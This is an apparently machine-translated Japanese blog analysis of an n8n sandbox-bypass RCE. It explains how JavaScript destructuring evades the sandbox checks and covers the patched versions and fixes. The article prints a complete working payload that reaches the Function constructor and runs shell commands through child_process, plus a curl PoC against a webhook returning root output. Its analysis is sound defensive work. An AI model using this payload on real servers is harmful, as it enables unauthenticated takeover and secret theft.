N8N RCE脆弱性(CVE-2026-25049)の詳細分析: JavaScriptの分割代入を利用したサンドボックスバイパス
n8nの5重のセキュリティレイヤーを、たった1行のJavaScript構文(Destructuring)で無力化したCVE-2026-25049脆弱性の原因とエクスプロイトコードを詳細に分析します。
この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。
原文(韓国語)を読む最近、ワークフロー自動化プラットフォームであるn8nで、致命的なリモートコード実行(RCE)脆弱性(CVE-2026-25049)が発見されました。CVSSスコア**9.4 (Critical)**を記録したこの脆弱性は、認証されていない攻撃者が公開されたWebhookを通じてサーバーを完全に掌握できるようにします。
特にこの脆弱性は、n8nが構築しておいた正規表現、AST検査、ランタイム検証などの5段階のセキュリティレイヤーを、JavaScriptの**分割代入(Destructuring Assignment)**という構文的特性を利用してバイパスしたという点で、技術的に非常に興味深いものです。
本記事では、当該脆弱性がどのように発生したのかをコードレベルで分析し、PoC(Proof of Concept)を通じて攻撃の原理を見ていきます。
1. 背景: n8nのサンドボックス防御体系
n8nは、ユーザーがJavaScriptの式(Expression)を使用してデータを処理できる機能を提供します。例えば {{ $json.name }} のような式を、内部的に eval() や Function コンストラクタと類似した方式で実行します。
当然ながらこれはセキュリティ上危険であるため、n8nは次のような多重の防御壁を構築しています。
- Regex Check:
.constructorのような危険なキーワードが含まれる文字列をブロック - AST Sanitizer: コードの構造(AST)を分析し、危険なノード(MemberExpressionなど)をブロック
- Runtime Validator: 実行時点でオブジェクトのプロパティアクセスを検査
- Function Sanitizer: 通常の関数で
thisコンテキストを空のオブジェクトにバインド - Property Removal:
eval、Functionなど危険なグローバルオブジェクトを除去
一見すると完璧に見える防御体系です。しかし、これらすべての防御壁が**「オブジェクトのプロパティアクセスはドット(.)または角括弧([])を通じてのみ行われる」**という誤った仮定の上に築かれていました。
2. 脆弱性の原因: 分割代入 (Destructuring)
JavaScriptでオブジェクトのプロパティを取得する方法は、大きく分けて2つあります。
A. 従来の方式 (ブロックされる)
obj.constructor // Dot notation
obj['constructor'] // Bracket notationこれらの方式は、AST(Abstract Syntax Tree)上で MemberExpression ノードとしてパースされます。n8nのAST Sanitizerはこのノードを監視しており、正規表現フィルタも .constructor パターンを検出していました。
B. 分割代入 (バイパス成功)
const { constructor } = obj;ES6から導入された分割代入の構文です。このコードはAST上で VariableDeclaration 内の ObjectPattern としてパースされます。
問題は、n8nのセキュリティロジックが MemberExpression のみを検査し、ObjectPattern は検査していなかったという点です。 また、ソースコードのテキスト上でも .constructor というパターンが現れないため、正規表現フィルタもバイパスできました。
3. Exploit Chainの分析
単に constructor を取得するだけでは不十分です。攻撃者はこれを利用して任意のコードを実行する必要があります。エクスプロイトチェーン全体は次のとおりです。
ステップ1: アロー関数で this を確保
n8nは通常の関数(function() {})の this を空のオブジェクトに強制バインドしてサンドボックス化します。しかし**アロー関数(() => {})**は自分自身の this バインディングを持たず、上位スコープ(Lexical Scope)の this をそのまま使用します。
(() => {
// 샌드박스 처리되지 않은 원본 'this' 또는 문맥에 접근 가능
})()ステップ2: 分割代入で Function コンストラクタを取得
アロー関数の内部で、空の関数の constructor を分割代入で取得します。JavaScriptでは、すべての関数のコンストラクタは Function オブジェクトです。つまり、Function コンストラクタを手に入れるということです。
const { constructor } = () => {};
// constructor === Functionステップ3: 任意コードの実行
取得した Function コンストラクタを利用して、文字列になったコードを実行できる関数を作成し、これを即座に実行します。
constructor('return process.mainModule.require("child_process").execSync("id").toString()')()最終的なPayload
これらすべてを組み合わせると、次のような1行のペイロードが完成します。
={{(() => {
const {constructor} = ()=>{};
return constructor('return process.mainModule.require("child_process").execSync("id").toString()')();
})()}}4. PoCおよび攻撃シナリオ
この脆弱性は、n8nのWebhook機能と組み合わさったときに影響力が最大化されます。n8nでは認証なし(Authentication: None)のWebhookを簡単に作成できるためです。
攻撃シナリオ
- 攻撃者がn8nインスタンスにアクセス(またはCSRFなどで誘導)して、悪意のあるワークフローを作成。
- Webhookノードを追加し、認証を
Noneに設定。 - Webhookの後ろに接続されたノード(Setなど)の式フィールドに、上記のRCEペイロードを挿入。
- ワークフローを有効化。
- 外部から当該WebhookのURLにリクエストを送ると、サーバーでコマンドが実行される。
実際のテスト (PoC)
# Webhook으로 요청 전송
curl -X POST 'http://target-n8n-server.com/webhook/rce-demo' \
-H 'Content-Type: application/json' \
--data '{}'レスポンス結果:
{
"result": "uid=0(root) gid=0(root) groups=0(root)\n"
}サーバーの id コマンドが実行され、root権限であることが確認できます。攻撃者はこれを通じて、環境変数(API Key)の窃取、バックドアの設置、内部ネットワークへの侵入など、あらゆる行為が可能になります。
5. 対応およびパッチ
パッチバージョン
n8nチームはこの問題を確認し、即座にパッチを配布しました。
- 修正されたバージョン:
1.123.17、2.5.2以上
根本的な解決策
開発者の観点から、この脆弱性は**「ブラックリストベースのセキュリティの限界」**を示しています。JavaScriptはあまりにも柔軟な言語であるため、特定の構文(ドット記法など)だけを防いでも、バイパスの可能性は常に存在します。
- Regexに依存しないこと: コードはパーサーで分析すべきであり、正規表現で分析してはいけません。
- ASTカバレッジの拡大:
MemberExpressionだけでなく、ObjectPatternなど、プロパティアクセスが可能なすべてのASTノードを検査する必要があります。 - Allowlistの適用: 可能であれば、許可されたプロパティのみにアクセスできるよう、ホワイトリスト方式を使用するのが安全です。
おわりに
今回のCVE-2026-25049は、5重の防御壁があっても、たった1つの論理的な盲点(Destructuringの見落とし)によってセキュリティ全体が崩壊しうることを示す、教科書的な事例です。n8nを使用中であれば、直ちに最新バージョンにアップデートしてください。
コメント